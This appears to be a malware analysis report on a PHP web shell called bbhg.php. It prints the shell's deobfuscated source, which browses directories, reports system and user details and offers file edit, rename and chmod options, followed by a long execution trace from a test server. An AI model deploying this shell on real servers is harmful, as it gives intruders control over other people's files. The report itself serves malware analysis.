PHP Malware Analysis

bbhg.php

md5: b7a1cf2c85add3f1e1f6bf30d818237d

Jump to:

Screenshot


Attributes

Environment

Input

Title


Deobfuscated PHP code

<?php

//error_reporting(0);
//PHP Web Shell Coded By BBHG
//Here are functions
if (isset($_GET['dir']) && !empty($_GET['dir'])) {
    $path = $_GET['dir'];
} else {
    $path = getcwd();
}
function logged_in()
{
    if (function_exists('posix_getpwuid')) {
        $userInfo = posix_getpwuid(posix_getuid());
        $user = $userInfo['name'];
    } else {
        $user = "";
    }
    $groupInfo = posix_getgrgid(posix_getgid());
    $group = $groupInfo = $groupInfo['name'];
    return $user . '<font style="color: yellow;"><b> / </b></font>' . $group;
}
function uname($type)
{
    $release_info["os_name"] = php_uname('s');
    $release_info["uname_version_info"] = php_uname('v');
    $release_info["machine_type"] = php_uname('m');
    $release_info["php_uname"] = php_uname();
    $release_info["host"] = php_uname('n');
    $release_info["kernal"] = php_uname('r');
    $release_info["version"] = php_uname('v');
    return $release_info[$type];
}
function get_owner($filename)
{
    if (function_exists('posix_getpwuid')) {
        $user = posix_getpwuid(fileowner($filename));
    } else {
        $user = "";
    }
    $group = posix_getgrgid(fileowner($filename));
    return $user['name'] . ' / ' . $group['name'];
}
function human_readable($bytes, $decimals = 2)
{
    $size = array('B', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $factor = floor((strlen($bytes) - 1) / 3);
    return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$size[$factor];
}
function perm($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
?>
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>BBHG - Shell</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=0.2" />
</head>
<style>
body {
  color: white;
  font-size: 22px;
padding: 0;
  margin: 0;
}
table, th, td {
  border: 5px #333399 dotted;
  text-align: center;
 
}
a {
  text-decoration: none;
  color: ;
}
</style>
<body bgcolor="black">
<h2>System Information</h2>
<b style="color: #90EE90;">Uname : </b><font style="font-size: 21px;"><?php 
echo uname('php_uname') ? uname('php_uname') . '</font>' : '<font style="color: red;">Couldn\'t Detect</font>';
?>


<br>
<b style="color: #90EE90;">Host Name : </b><?php 
echo uname('host') ? uname('host') : '<font style="color: red;">Couldn\'t Detect</font>';
?>
<br><b style="color: #90EE90;">User / Group : </b><?php 
echo logged_in() ? logged_in() : '<font style="color: red;">Couldn\'t Detect</font>';
?>
<br><b style="color: #90EE90;">Web Root : </b><font style="font-size: 25px;"><?php 
echo $_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] . '</font>' : '<font style="color: red;">Couldn\'t Detect</font>';
?>
<center>
  
PATH : [ <font style="font-size: 20.2px;"><?php 
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<a style=\"color: red;\" href=\"?dir=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a style=\"color: green;\" href=\"?dir=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . htmlspecialchars($pat) . '</a><font style="color: red">/</font>';
}
?>]<br>[ <a style="color: yellow;" href="<?php 
echo htmlspecialchars(basename($_SERVER['PHP_SELF']));
?>">Home</a> ]</font>
<?php 
if (!is_dir($path)) {
    echo "</table><h3><font style='color: red'>" . htmlspecialchars($path) . " </font>isn't a directory";
    exit;
}
?>
<table style="width:100%; font-size: 28px;">
  <tr>
    <th>Name</th>
    <th>Size</th>
    <th>Owner / Group</th>
    <th>Permission</th>
    <th>Modify</th>
    <th>Option</th>
  </tr>
<?php 
if (!is_dir($path) || !is_readable($path)) {
    echo "</table><h3>Can't Open <font style='color: red'>" . htmlspecialchars($path) . " </font>Permission Denied";
    exit;
}
$scandir = scandir($path);
foreach ($scandir as $dir) {
    $fullpath = $path . '/' . $dir;
    $name = $dir;
    $fcolor = 'white';
    if ($dir == ".") {
        $fullpath = $path;
    }
    if ($dir == "..") {
        $fullpath = dirname($path);
    }
    if (is_dir($fullpath)) {
        $name = '[' . $dir . ']';
        $fcolor = 'green';
    }
    if (is_readable($fullpath)) {
        $color = "green";
    }
    if (is_writeable($fullpath)) {
        $color = "yellow";
    } else {
        $color = "red";
    }
    $perm = perm($fullpath);
    $size = human_readable(filesize($fullpath));
    $dir_list = '';
    $file_list = '';
    echo '<tr>
   <td style="text-align: left; width:50px;"><a style="color: ' . $fcolor . ';" href="?dir=' . htmlspecialchars($fullpath) . '">' . htmlspecialchars($name) . '</td></a>
    <td>' . $size . '</td>
    <td>' . get_owner($fullpath) . '</td>
    <th style="color:' . $color . ';">' . $perm . '</th>
    <td>' . date("Y-m-d H:i:s", filemtime($fullpath)) . '</td>
    <td><form action="" method="post"><select name="option" style="width:100%" onchange="this.form.submit()">
  <option style="width:100%">Option</option>
    <option style="width:100%">Edit</option>
  <option style="width:100%">Rename</option>
  <option style="width:100%">Chmod</option>
</select></form></td>
  </tr>';
}
?>
</table>
  </center>
</body>
</html>

Execution traces

data/traces/b7a1cf2c85add3f1e1f6bf30d818237d_trace-1676251684.7487.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:28:30.646496]
1	0	1	0.000133	393512
1	3	0	0.000443	435424	{main}	1		/var/www/html/uploads/bbhg.php	0	0
2	4	0	0.000466	435424	getcwd	0		/var/www/html/uploads/bbhg.php	8	0
2	4	1	0.000486	435472
2	4	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/bbhg.php	8	$path = '/var/www/html/uploads'
2	5	0	0.000527	435472	uname	1		/var/www/html/uploads/bbhg.php	123	1	'php_uname'
3	6	0	0.000544	435472	php_uname	0		/var/www/html/uploads/bbhg.php	22	1	's'
3	6	1	0.000563	435536
3	6	R			'Linux'
2		A						/var/www/html/uploads/bbhg.php	22	$release_info['os_name'] = 'Linux'
3	7	0	0.000598	435880	php_uname	0		/var/www/html/uploads/bbhg.php	23	1	'v'
3	7	1	0.000616	435992
3	7	R			'#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2		A						/var/www/html/uploads/bbhg.php	23	$release_info['uname_version_info'] = '#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
3	8	0	0.000658	435960	php_uname	0		/var/www/html/uploads/bbhg.php	23	1	'm'
3	8	1	0.000674	436024
3	8	R			'x86_64'
2		A						/var/www/html/uploads/bbhg.php	23	$release_info['machine_type'] = 'x86_64'
3	9	0	0.000708	435992	php_uname	0		/var/www/html/uploads/bbhg.php	24	0
3	9	1	0.000725	436104
3	9	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2		A						/var/www/html/uploads/bbhg.php	24	$release_info['php_uname'] = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3	10	0	0.000780	436104	php_uname	0		/var/www/html/uploads/bbhg.php	25	1	'n'
3	10	1	0.000797	436168
3	10	R			'osboxes'
2		A						/var/www/html/uploads/bbhg.php	25	$release_info['host'] = 'osboxes'
3	11	0	0.000830	436136	php_uname	0		/var/www/html/uploads/bbhg.php	26	1	'r'
3	11	1	0.000847	436216
3	11	R			'5.15.0-60-generic'
2		A						/var/www/html/uploads/bbhg.php	26	$release_info['kernal'] = '5.15.0-60-generic'
3	12	0	0.000881	436184	php_uname	0		/var/www/html/uploads/bbhg.php	27	1	'v'
3	12	1	0.000898	436296
3	12	R			'#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2		A						/var/www/html/uploads/bbhg.php	27	$release_info['version'] = '#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2	5	1	0.000939	435584
2	5	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	13	0	0.000964	435472	uname	1		/var/www/html/uploads/bbhg.php	123	1	'php_uname'
3	14	0	0.000980	435472	php_uname	0		/var/www/html/uploads/bbhg.php	22	1	's'
3	14	1	0.000997	435536
3	14	R			'Linux'
2		A						/var/www/html/uploads/bbhg.php	22	$release_info['os_name'] = 'Linux'
3	15	0	0.001029	435880	php_uname	0		/var/www/html/uploads/bbhg.php	23	1	'v'
3	15	1	0.001046	435992
3	15	R			'#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2		A						/var/www/html/uploads/bbhg.php	23	$release_info['uname_version_info'] = '#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
3	16	0	0.001086	435960	php_uname	0		/var/www/html/uploads/bbhg.php	23	1	'm'
3	16	1	0.001102	436024
3	16	R			'x86_64'
2		A						/var/www/html/uploads/bbhg.php	23	$release_info['machine_type'] = 'x86_64'
3	17	0	0.001136	435992	php_uname	0		/var/www/html/uploads/bbhg.php	24	0
3	17	1	0.001153	436104
3	17	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2		A						/var/www/html/uploads/bbhg.php	24	$release_info['php_uname'] = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3	18	0	0.001198	436104	php_uname	0		/var/www/html/uploads/bbhg.php	25	1	'n'
3	18	1	0.001215	436168
3	18	R			'osboxes'
2		A						/var/www/html/uploads/bbhg.php	25	$release_info['host'] = 'osboxes'
3	19	0	0.001248	436136	php_uname	0		/var/www/html/uploads/bbhg.php	26	1	'r'
3	19	1	0.001264	436216
3	19	R			'5.15.0-60-generic'
2		A						/var/www/html/uploads/bbhg.php	26	$release_info['kernal'] = '5.15.0-60-generic'
3	20	0	0.001298	436184	php_uname	0		/var/www/html/uploads/bbhg.php	27	1	'v'
3	20	1	0.001314	436296
3	20	R			'#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2		A						/var/www/html/uploads/bbhg.php	27	$release_info['version'] = '#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2	13	1	0.001398	435584
2	13	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	21	0	0.001426	435472	uname	1		/var/www/html/uploads/bbhg.php	127	1	'host'
3	22	0	0.001443	435472	php_uname	0		/var/www/html/uploads/bbhg.php	22	1	's'
3	22	1	0.001459	435536
3	22	R			'Linux'
2		A						/var/www/html/uploads/bbhg.php	22	$release_info['os_name'] = 'Linux'
3	23	0	0.001491	435880	php_uname	0		/var/www/html/uploads/bbhg.php	23	1	'v'
3	23	1	0.001506	435992
3	23	R			'#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2		A						/var/www/html/uploads/bbhg.php	23	$release_info['uname_version_info'] = '#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
3	24	0	0.001547	435960	php_uname	0		/var/www/html/uploads/bbhg.php	23	1	'm'
3	24	1	0.001563	436024
3	24	R			'x86_64'
2		A						/var/www/html/uploads/bbhg.php	23	$release_info['machine_type'] = 'x86_64'
3	25	0	0.001597	435992	php_uname	0		/var/www/html/uploads/bbhg.php	24	0
3	25	1	0.001613	436104
3	25	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2		A						/var/www/html/uploads/bbhg.php	24	$release_info['php_uname'] = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3	26	0	0.001658	436104	php_uname	0		/var/www/html/uploads/bbhg.php	25	1	'n'
3	26	1	0.001675	436168
3	26	R			'osboxes'
2		A						/var/www/html/uploads/bbhg.php	25	$release_info['host'] = 'osboxes'
3	27	0	0.001707	436136	php_uname	0		/var/www/html/uploads/bbhg.php	26	1	'r'
3	27	1	0.001724	436216
3	27	R			'5.15.0-60-generic'
2		A						/var/www/html/uploads/bbhg.php	26	$release_info['kernal'] = '5.15.0-60-generic'
3	28	0	0.001758	436184	php_uname	0		/var/www/html/uploads/bbhg.php	27	1	'v'
3	28	1	0.001775	436296
3	28	R			'#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2		A						/var/www/html/uploads/bbhg.php	27	$release_info['version'] = '#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2	21	1	0.001815	435504
2	21	R			'osboxes'
2	29	0	0.001833	435472	uname	1		/var/www/html/uploads/bbhg.php	127	1	'host'
3	30	0	0.001849	435472	php_uname	0		/var/www/html/uploads/bbhg.php	22	1	's'
3	30	1	0.001865	435536
3	30	R			'Linux'
2		A						/var/www/html/uploads/bbhg.php	22	$release_info['os_name'] = 'Linux'
3	31	0	0.001897	435880	php_uname	0		/var/www/html/uploads/bbhg.php	23	1	'v'
3	31	1	0.001913	435992
3	31	R			'#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2		A						/var/www/html/uploads/bbhg.php	23	$release_info['uname_version_info'] = '#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
3	32	0	0.001952	435960	php_uname	0		/var/www/html/uploads/bbhg.php	23	1	'm'
3	32	1	0.001968	436024
3	32	R			'x86_64'
2		A						/var/www/html/uploads/bbhg.php	23	$release_info['machine_type'] = 'x86_64'
3	33	0	0.002002	435992	php_uname	0		/var/www/html/uploads/bbhg.php	24	0
3	33	1	0.002018	436104
3	33	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2		A						/var/www/html/uploads/bbhg.php	24	$release_info['php_uname'] = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3	34	0	0.002063	436104	php_uname	0		/var/www/html/uploads/bbhg.php	25	1	'n'
3	34	1	0.002080	436168
3	34	R			'osboxes'
2		A						/var/www/html/uploads/bbhg.php	25	$release_info['host'] = 'osboxes'
3	35	0	0.002111	436136	php_uname	0		/var/www/html/uploads/bbhg.php	26	1	'r'
3	35	1	0.002128	436216
3	35	R			'5.15.0-60-generic'
2		A						/var/www/html/uploads/bbhg.php	26	$release_info['kernal'] = '5.15.0-60-generic'
3	36	0	0.002162	436184	php_uname	0		/var/www/html/uploads/bbhg.php	27	1	'v'
3	36	1	0.002178	436296
3	36	R			'#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2		A						/var/www/html/uploads/bbhg.php	27	$release_info['version'] = '#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2	29	1	0.002226	435504
2	29	R			'osboxes'
2	37	0	0.002245	435472	logged_in	1		/var/www/html/uploads/bbhg.php	128	0
3	38	0	0.002261	435472	function_exists	0		/var/www/html/uploads/bbhg.php	11	1	'posix_getpwuid'
3	38	1	0.002280	435512
3	38	R			TRUE
3	39	0	0.002297	435472	posix_getuid	0		/var/www/html/uploads/bbhg.php	12	0
3	39	1	0.002314	435472
3	39	R			33
3	40	0	0.002331	435472	posix_getpwuid	0		/var/www/html/uploads/bbhg.php	12	1	33
3	40	1	0.002376	436304
3	40	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
2		A						/var/www/html/uploads/bbhg.php	12	$userInfo = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
2		A						/var/www/html/uploads/bbhg.php	13	$user = 'www-data'
3	41	0	0.002447	436272	posix_getgid	0		/var/www/html/uploads/bbhg.php	17	0
3	41	1	0.002463	436272
3	41	R			33
3	42	0	0.002479	436272	posix_getgrgid	0		/var/www/html/uploads/bbhg.php	17	1	33
3	42	1	0.002513	436936
3	42	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
2		A						/var/www/html/uploads/bbhg.php	17	$groupInfo = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
2		A						/var/www/html/uploads/bbhg.php	18	$groupInfo = 'www-data'
2		A						/var/www/html/uploads/bbhg.php	18	$group = 'www-data'
2	37	1	0.002587	435568
2	37	R			'www-data<font style="color: yellow;"><b> / </b></font>www-data'
2	43	0	0.002611	435472	logged_in	1		/var/www/html/uploads/bbhg.php	128	0
3	44	0	0.002626	435472	function_exists	0		/var/www/html/uploads/bbhg.php	11	1	'posix_getpwuid'
3	44	1	0.002644	435512
3	44	R			TRUE
3	45	0	0.002661	435472	posix_getuid	0		/var/www/html/uploads/bbhg.php	12	0
3	45	1	0.002676	435472
3	45	R			33
3	46	0	0.002692	435472	posix_getpwuid	0		/var/www/html/uploads/bbhg.php	12	1	33
3	46	1	0.002724	436304
3	46	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
2		A						/var/www/html/uploads/bbhg.php	12	$userInfo = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
2		A						/var/www/html/uploads/bbhg.php	13	$user = 'www-data'
3	47	0	0.002793	436272	posix_getgid	0		/var/www/html/uploads/bbhg.php	17	0
3	47	1	0.002809	436272
3	47	R			33
3	48	0	0.002825	436272	posix_getgrgid	0		/var/www/html/uploads/bbhg.php	17	1	33
3	48	1	0.002857	436936
3	48	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
2		A						/var/www/html/uploads/bbhg.php	17	$groupInfo = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
2		A						/var/www/html/uploads/bbhg.php	18	$groupInfo = 'www-data'
2		A						/var/www/html/uploads/bbhg.php	18	$group = 'www-data'
2	43	1	0.002929	435568
2	43	R			'www-data<font style="color: yellow;"><b> / </b></font>www-data'
2	49	0	0.002956	435472	str_replace	0		/var/www/html/uploads/bbhg.php	133	3	'\\'	'/'	'/var/www/html/uploads'
2	49	1	0.002976	435568
2	49	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/bbhg.php	133	$path = '/var/www/html/uploads'
2	50	0	0.003009	435472	explode	0		/var/www/html/uploads/bbhg.php	134	2	'/'	'/var/www/html/uploads'
2	50	1	0.003027	436048
2	50	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/bbhg.php	134	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/bbhg.php	136	$id = 0
1		A						/var/www/html/uploads/bbhg.php	138	$a = TRUE
1		A						/var/www/html/uploads/bbhg.php	136	$id = 1
1		A						/var/www/html/uploads/bbhg.php	144	$i = 0
1		A						/var/www/html/uploads/bbhg.php	144	$i++
1		A						/var/www/html/uploads/bbhg.php	144	$i++
2	51	0	0.003148	435976	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	148	1	'var'
2	51	1	0.003166	436168
2	51	R			'var'
1		A						/var/www/html/uploads/bbhg.php	136	$id = 2
1		A						/var/www/html/uploads/bbhg.php	144	$i = 0
1		A						/var/www/html/uploads/bbhg.php	144	$i++
1		A						/var/www/html/uploads/bbhg.php	144	$i++
1		A						/var/www/html/uploads/bbhg.php	144	$i++
2	52	0	0.003247	435976	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	148	1	'www'
2	52	1	0.003265	436168
2	52	R			'www'
1		A						/var/www/html/uploads/bbhg.php	136	$id = 3
1		A						/var/www/html/uploads/bbhg.php	144	$i = 0
1		A						/var/www/html/uploads/bbhg.php	144	$i++
1		A						/var/www/html/uploads/bbhg.php	144	$i++
1		A						/var/www/html/uploads/bbhg.php	144	$i++
1		A						/var/www/html/uploads/bbhg.php	144	$i++
2	53	0	0.003348	435976	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	148	1	'html'
2	53	1	0.003365	436168
2	53	R			'html'
1		A						/var/www/html/uploads/bbhg.php	136	$id = 4
1		A						/var/www/html/uploads/bbhg.php	144	$i = 0
1		A						/var/www/html/uploads/bbhg.php	144	$i++
1		A						/var/www/html/uploads/bbhg.php	144	$i++
1		A						/var/www/html/uploads/bbhg.php	144	$i++
1		A						/var/www/html/uploads/bbhg.php	144	$i++
1		A						/var/www/html/uploads/bbhg.php	144	$i++
2	54	0	0.003457	435976	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	148	1	'uploads'
2	54	1	0.003475	436168
2	54	R			'uploads'
2	55	0	0.003495	435976	basename	0		/var/www/html/uploads/bbhg.php	150	1	'/uploads/bbhg.php'
2	55	1	0.003514	436048
2	55	R			'bbhg.php'
2	56	0	0.003531	436016	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	150	1	'bbhg.php'
2	56	1	0.003549	436208
2	56	R			'bbhg.php'
2	57	0	0.003567	435976	is_dir	0		/var/www/html/uploads/bbhg.php	152	1	'/var/www/html/uploads'
2	57	1	0.003587	436040
2	57	R			TRUE
2	58	0	0.003605	436000	is_dir	0		/var/www/html/uploads/bbhg.php	167	1	'/var/www/html/uploads'
2	58	1	0.003621	436040
2	58	R			TRUE
2	59	0	0.003638	436000	is_readable	0		/var/www/html/uploads/bbhg.php	167	1	'/var/www/html/uploads'
2	59	1	0.003661	436040
2	59	R			TRUE
2	60	0	0.003678	436000	scandir	0		/var/www/html/uploads/bbhg.php	171	1	'/var/www/html/uploads'
2	60	1	0.003718	436624
2	60	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'bbhg.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/bbhg.php	171	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'bbhg.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/bbhg.php	173	$fullpath = '/var/www/html/uploads/.'
1		A						/var/www/html/uploads/bbhg.php	174	$name = '.'
1		A						/var/www/html/uploads/bbhg.php	175	$fcolor = 'white'
1		A						/var/www/html/uploads/bbhg.php	177	$fullpath = '/var/www/html/uploads'
2	61	0	0.003822	436592	is_dir	0		/var/www/html/uploads/bbhg.php	182	1	'/var/www/html/uploads'
2	61	1	0.003838	436632
2	61	R			TRUE
1		A						/var/www/html/uploads/bbhg.php	183	$name = '[.]'
1		A						/var/www/html/uploads/bbhg.php	184	$fcolor = 'green'
2	62	0	0.003882	436624	is_readable	0		/var/www/html/uploads/bbhg.php	186	1	'/var/www/html/uploads'
2	62	1	0.003903	436664
2	62	R			TRUE
1		A						/var/www/html/uploads/bbhg.php	187	$color = 'green'
2	63	0	0.003933	436624	is_writeable	0		/var/www/html/uploads/bbhg.php	189	1	'/var/www/html/uploads'
2	63	1	0.003953	436664
2	63	R			TRUE
1		A						/var/www/html/uploads/bbhg.php	190	$color = 'yellow'
2	64	0	0.003984	436624	perm	1		/var/www/html/uploads/bbhg.php	194	1	'/var/www/html/uploads'
3	65	0	0.004001	436624	fileperms	0		/var/www/html/uploads/bbhg.php	45	1	'/var/www/html/uploads'
3	65	1	0.004017	436664
3	65	R			16895
2		A						/var/www/html/uploads/bbhg.php	45	$perms = 16895
2		A						/var/www/html/uploads/bbhg.php	61	$info = 'd'
2		A						/var/www/html/uploads/bbhg.php	74	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	75	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	78	$info .= 'x'
2		A						/var/www/html/uploads/bbhg.php	81	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	82	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	85	$info .= 'x'
2		A						/var/www/html/uploads/bbhg.php	88	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	89	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	92	$info .= 'x'
2	64	1	0.004149	436664
2	64	R			'drwxrwxrwx'
1		A						/var/www/html/uploads/bbhg.php	194	$perm = 'drwxrwxrwx'
2	66	0	0.004174	436664	filesize	0		/var/www/html/uploads/bbhg.php	195	1	'/var/www/html/uploads'
2	66	1	0.004193	436704
2	66	R			4096
2	67	0	0.004207	436664	human_readable	1		/var/www/html/uploads/bbhg.php	195	2	4096	???
2		A						/var/www/html/uploads/bbhg.php	40	$size = [0 => 'B', 1 => 'kB', 2 => 'MB', 3 => 'GB', 4 => 'TB', 5 => 'PB', 6 => 'EB', 7 => 'ZB', 8 => 'YB']
3	68	0	0.004238	436664	floor	0		/var/www/html/uploads/bbhg.php	41	1	1
3	68	1	0.004251	436696
3	68	R			1
2		A						/var/www/html/uploads/bbhg.php	41	$factor = 1
3	69	0	0.004275	436696	pow	0		/var/www/html/uploads/bbhg.php	42	2	1024	1
3	69	1	0.004292	436768
3	69	R			1024
3	70	0	0.004311	436696	sprintf	0		/var/www/html/uploads/bbhg.php	42	2	'%.2f'	4
3	70	1	0.004332	437080
3	70	R			'4.00'
2	67	1	0.004351	436696
2	67	R			'4.00kB'
1		A						/var/www/html/uploads/bbhg.php	195	$size = '4.00kB'
1		A						/var/www/html/uploads/bbhg.php	196	$dir_list = ''
1		A						/var/www/html/uploads/bbhg.php	197	$file_list = ''
2	71	0	0.004411	436808	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	199	1	'/var/www/html/uploads'
2	71	1	0.004426	437000
2	71	R			'/var/www/html/uploads'
2	72	0	0.004441	436856	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	199	1	'[.]'
2	72	1	0.004455	437048
2	72	R			'[.]'
2	73	0	0.004468	436888	get_owner	1		/var/www/html/uploads/bbhg.php	201	1	'/var/www/html/uploads'
3	74	0	0.004482	436888	function_exists	0		/var/www/html/uploads/bbhg.php	31	1	'posix_getpwuid'
3	74	1	0.004495	436928
3	74	R			TRUE
3	75	0	0.004508	436888	fileowner	0		/var/www/html/uploads/bbhg.php	32	1	'/var/www/html/uploads'
3	75	1	0.004521	436928
3	75	R			0
3	76	0	0.004534	436888	posix_getpwuid	0		/var/www/html/uploads/bbhg.php	32	1	0
3	76	1	0.004560	437688
3	76	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/bbhg.php	32	$user = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3	77	0	0.004601	437656	fileowner	0		/var/www/html/uploads/bbhg.php	36	1	'/var/www/html/uploads'
3	77	1	0.004614	437696
3	77	R			0
3	78	0	0.004626	437656	posix_getgrgid	0		/var/www/html/uploads/bbhg.php	36	1	0
3	78	1	0.004648	438312
3	78	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
2		A						/var/www/html/uploads/bbhg.php	36	$group = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
2	73	1	0.004683	436928
2	73	R			'root / root'
2	79	0	0.004698	436952	filemtime	0		/var/www/html/uploads/bbhg.php	203	1	'/var/www/html/uploads'
2	79	1	0.004711	436992
2	79	R			1676251684
2	80	0	0.004724	436952	date	0		/var/www/html/uploads/bbhg.php	203	2	'Y-m-d H:i:s'	1676251684
2	80	1	0.004796	439344
2	80	R			'2023-02-12 20:28:04'
1		A						/var/www/html/uploads/bbhg.php	173	$fullpath = '/var/www/html/uploads/..'
1		A						/var/www/html/uploads/bbhg.php	174	$name = '..'
1		A						/var/www/html/uploads/bbhg.php	175	$fcolor = 'white'
2	81	0	0.004850	438784	dirname	0		/var/www/html/uploads/bbhg.php	180	1	'/var/www/html/uploads'
2	81	1	0.004863	438864
2	81	R			'/var/www/html'
1		A						/var/www/html/uploads/bbhg.php	180	$fullpath = '/var/www/html'
2	82	0	0.004887	438776	is_dir	0		/var/www/html/uploads/bbhg.php	182	1	'/var/www/html'
2	82	1	0.004903	438808
2	82	R			TRUE
1		A						/var/www/html/uploads/bbhg.php	183	$name = '[..]'
1		A						/var/www/html/uploads/bbhg.php	184	$fcolor = 'green'
2	83	0	0.004936	438800	is_readable	0		/var/www/html/uploads/bbhg.php	186	1	'/var/www/html'
2	83	1	0.004953	438840
2	83	R			TRUE
